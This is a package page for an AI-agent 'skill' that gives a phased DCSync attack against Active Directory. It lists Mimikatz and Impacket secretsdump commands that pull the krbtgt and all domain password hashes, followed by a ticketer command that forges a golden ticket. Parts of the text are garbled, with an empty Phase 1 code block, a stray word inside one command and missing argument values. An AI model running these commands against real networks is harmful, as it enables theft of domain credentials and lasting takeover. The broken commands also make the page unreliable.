## Install

```sh
agentstack add skill-shulkwisec-bb-huge-ad-dcsync-attack
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# Active Directory DCSync Attack

## When to Use
- When an attacker has compromised an account or group with the highly privileged `DS-Replication-Get-Changes` and `DS-Replication-Get-Changes-All` rights (often Domain Admins or maliciously delegated accounts).
- To stealthily extract NTLM hashes (including the `krbtgt` account hash) directly from Active Directory over the network, avoiding the need to execute code or drop malware directly on a Domain Controller.

## Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture

## Workflow

### Phase 1: Identifying the Target (krbtgt) and Access Rights

```bash
# ```

### Phase 2: Execution via Mimikatz (Windows)

```text
# privilege::debug
lsadump::dcsync /domain:lab.local /user:krbtgt

# lsadump::dcsync /domain:lab.local /all /csv
```

### Phase 3: Execution via Impacket (Linux/Network)

```bash
# impacket-secretsdump -just-dc-user krbtgt lab.local/administrator:Password123@10.10.10.10

# beautifully impacket-secretsdump lab.local/administrator:Password123@10.10.10.10
```

### Phase 4: Utilizing the Material (Golden Ticket)

```bash
# impacket-ticketer -nthash  -domain-sid  -domain lab.local Administrator
```
